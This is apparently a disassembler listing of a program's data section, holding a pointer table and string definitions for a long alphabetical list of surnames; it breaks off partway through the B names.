dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine_0 ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch_0 ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay_0 ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .XComp0:off_445180o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: .XComp0:00445184o align 4 aAdams db 'Adams',0 ; DATA XREF: .XComp0:00445188o align 4 aAddison db 'Addison',0 ; DATA XREF: .XComp0:0044518Co aAdelstein db 'Adelstein',0 ; DATA XREF: .XComp0:00445190o align 10h aAdibe db 'Adibe',0 ; DATA XREF: .XComp0:00445194o align 4 aAdorno db 'Adorno',0 ; DATA XREF: .XComp0:00445198o align 10h aAhlers db 'Ahlers',0 ; DATA XREF: .XComp0:0044519Co align 4 aAlavi db 'Alavi',0 ; DATA XREF: .XComp0:004451A0o align 10h aAlcorn db 'Alcorn',0 ; DATA XREF: .XComp0:004451A4o align 4 aAlda db 'Alda',0 ; DATA XREF: .XComp0:004451A8o align 10h aAleks db 'Aleks',0 ; DATA XREF: .XComp0:004451ACo align 4 aAllison db 'Allison',0 ; DATA XREF: .XComp0:004451B0o aAlongi db 'Alongi',0 ; DATA XREF: .XComp0:004451B4o align 4 aAltavilla db 'Altavilla',0 ; DATA XREF: .XComp0:004451B8o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: .XComp0:004451BCo aAltenhofen db 'Altenhofen',0 ; DATA XREF: .XComp0:004451C0o align 4 aAmaral db 'Amaral',0 ; DATA XREF: .XComp0:004451C4o align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: .XComp0:004451C8o align 10h aAmeer db 'Ameer',0 ; DATA XREF: .XComp0:004451CCo align 4 aAmsden db 'Amsden',0 ; DATA XREF: .XComp0:004451D0o align 10h aAnand db 'Anand',0 ; DATA XREF: .XComp0:004451D4o align 4 aAndel db 'Andel',0 ; DATA XREF: .XComp0:004451D8o align 10h aAndo db 'Ando',0 ; DATA XREF: .XComp0:004451DCo align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: .XComp0:004451E0o align 4 aAndron db 'Andron',0 ; DATA XREF: .XComp0:004451E4o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: .XComp0:004451E8o align 4 aAnsley db 'Ansley',0 ; DATA XREF: .XComp0:004451ECo align 10h aAnthony db 'Anthony',0 ; DATA XREF: .XComp0:004451F0o aAntos db 'Antos',0 ; DATA XREF: .XComp0:004451F4o align 10h aArbia db 'Arbia',0 ; DATA XREF: .XComp0:004451F8o align 4 aArduini db 'Arduini',0 ; DATA XREF: .XComp0:004451FCo aArellano db 'Arellano',0 ; DATA XREF: .XComp0:00445200o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: .XComp0:00445204o align 4 aArjas db 'Arjas',0 ; DATA XREF: .XComp0:00445208o align 10h aArky db 'Arky',0 ; DATA XREF: .XComp0:0044520Co align 4 aAtkins db 'Atkins',0 ; DATA XREF: .XComp0:00445210o align 10h aAugustus db 'Augustus',0 ; DATA XREF: .XComp0:00445214o align 4 aAurelius db 'Aurelius',0 ; DATA XREF: .XComp0:00445218o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: .XComp0:0044521Co aAxworthy db 'Axworthy',0 ; DATA XREF: .XComp0:00445220o align 4 aAyiemba db 'Ayiemba',0 ; DATA XREF: .XComp0:00445224o aAykroyd db 'Aykroyd',0 ; DATA XREF: .XComp0:00445228o aAyling db 'Ayling',0 ; DATA XREF: .XComp0:0044522Co align 4 aAzima db 'Azima',0 ; DATA XREF: .XComp0:00445230o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: .XComp0:00445234o align 4 aBackus db 'Backus',0 ; DATA XREF: .XComp0:00445238o align 10h aBady db 'Bady',0 ; DATA XREF: .XComp0:0044523Co align 4 aBaglivo db 'Baglivo',0 ; DATA XREF: .XComp0:00445240o aBagnold db 'Bagnold',0 ; DATA XREF: .XComp0:00445244o aBailar db 'Bailar',0 ; DATA XREF: .XComp0:00445248o align 10h aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .XComp0:0044524Co align 4 aBaleja db 'Baleja',0 ; DATA XREF: .XComp0:00445250o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: .XComp0:00445254o align 10h aBallew db 'Ballew',0 ; DATA XREF: .XComp0:00445258o align 4 aBaltz db 'Baltz',0 ; DATA XREF: .XComp0:0044525Co align 10h aBanta db 'Banta',0 ; DATA XREF: .XComp0:00445260o align 4 aBarabesi db 'Barabesi',0 ; DATA XREF: .XComp0:00445264o align 4 aBarajas db 'Barajas',0 ; DATA XREF: .XComp0:00445268o aBaranczak db 'Baranczak',0 ; DATA XREF: .XComp0:0044526Co align 4 aBaranowska db 'Baranowska',0 ; DATA XREF: .XComp0:00445270o align 4 aBarberi db 'Barberi',0 ; DATA XREF: .XComp0:00445274o aBarbetti db 'Barbetti',0 ; DATA XREF: .XComp0:00445278o align 4 aBarneson db 'Barneson',0 ; DATA XREF: .XComp0:0044527Co align 4 aBarnett db 'Barnett',0 ; DATA XREF: .XComp0:00445280o aBarriola db 'Barriola',0 ; DATA XREF: .XComp0:00445284o align 4 aBarry db 'Barry',0 ; DATA XREF: .XComp0:00445288o align 10h aBartholomew db 'Bartholomew',0 ; DATA XREF: .XComp0:0044528Co aBartolome db 'Bartolome',0 ; DATA XREF: .XComp0:00445290o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: .XComp0:00445294o align 10h aBasavappa db 'Basavappa',0 ; DATA XREF: .XComp0:00445298o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: .XComp0:0044529Co align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: .XComp0:004452A0o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: .XComp0:004452A4o align 10h aBayles db 'Bayles',0 ; DATA XREF: .XComp0:004452A8o align 4 aBayo db 'Bayo',0 ; DATA XREF: .XComp0:004452ACo align 10h aBeacon db 'Beacon',0 ; DATA XREF: .XComp0:004452B0o align 4 aBeal db 'Beal',0 ; DATA XREF: .XComp0:004452B4o align 10h aBean db 'Bean',0 ; DATA XREF: .XComp0:004452B8o align 4 aBeckman db 'Beckman',0 ; DATA XREF: .XComp0:004452BCo aBeder db 'Beder',0 ; DATA XREF: .XComp0:004452C0o align 4 aBedford db 'Bedford',0 ; DATA XREF: .XComp0:004452C4o aBehenna db 'Behenna',0 ; DATA XREF: .XComp0:004452C8o aBelanger db 'Belanger',0 ; DATA XREF: .XComp0:004452CCo align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: .XComp0:004452D0o align 10h aBelfer db 'Belfer',0 ; DATA XREF: .XComp0:004452D4o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .XComp0:004452D8o align 4 aBellavance db 'Bellavance',0 ; DATA XREF: .XComp0:004452DCo align 4 aBellhouse db 'Bellhouse',0 ; DATA XREF: .XComp0:004452E0o align 10h aBellini db 'Bellini',0 ; DATA 